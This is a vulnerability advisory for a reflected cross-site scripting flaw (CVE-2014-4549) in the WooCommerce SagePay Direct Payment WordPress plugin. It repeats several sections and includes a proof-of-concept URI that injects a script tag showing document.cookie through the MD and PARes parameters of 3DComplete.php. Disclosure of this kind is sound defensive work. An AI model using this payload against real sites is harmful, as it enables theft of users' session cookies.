WordPress WooCommerce SagePay Direct Payment Gateway Plugin Cross Site Scripting Vulnerability
BID:65355
Info
WordPress WooCommerce SagePay Direct Payment Gateway Plugin Cross Site Scripting Vulnerability
| Bugtraq ID: | 65355 |
| Class: | Input Validation Error |
| CVE: |
CVE-2014-4549 |
| Remote: | Yes |
| Local: | No |
| Published: | Feb 05 2014 12:00AM |
| Updated: | Jul 03 2014 03:47PM |
| Credit: | Prajal Kulkarni |
| Vulnerable: | |
| Not Vulnerable: | |
Discussion
WordPress WooCommerce SagePay Direct Payment Gateway Plugin Cross Site Scripting Vulnerability
WooCommerce SagePay Direct Payment plugin for WordPress is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.
An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.
WooCommerce SagePay Direct Payment 0.1.6.6 is vulnerable; other versions may also be affected.
WooCommerce SagePay Direct Payment plugin for WordPress is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.
An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.
WooCommerce SagePay Direct Payment 0.1.6.6 is vulnerable; other versions may also be affected.
Exploit / POC
WordPress WooCommerce SagePay Direct Payment Gateway Plugin Cross Site Scripting Vulnerability
Attackers can exploit this issue by enticing an unsuspecting victim to follow a malicious URI.
The following example URI is available:
http://www.example.com/wordpress/wp-content/wp-plugs/sagepay-direct-for-woocommerce-payment-gateway/pages/3DComplete.php?MD=MD%27%3E%3Cscript%3Ealert%28document.cookie%29%3C/script%3E&PARes=PARes%27%3E%3Cscript%3Ealert%28document.cookie%29%3C/script%3E&
Attackers can exploit this issue by enticing an unsuspecting victim to follow a malicious URI.
The following example URI is available:
http://www.example.com/wordpress/wp-content/wp-plugs/sagepay-direct-for-woocommerce-payment-gateway/pages/3DComplete.php?MD=MD%27%3E%3Cscript%3Ealert%28document.cookie%29%3C/script%3E&PARes=PARes%27%3E%3Cscript%3Ealert%28document.cookie%29%3C/script%3E&
Solution / Fix
WordPress WooCommerce SagePay Direct Payment Gateway Plugin Cross Site Scripting Vulnerability
Solution:
Updates are available. Please see the references or vendor advisory for more information.
Solution:
Updates are available. Please see the references or vendor advisory for more information.
References
WordPress WooCommerce SagePay Direct Payment Gateway Plugin Cross Site Scripting Vulnerability
References:
References: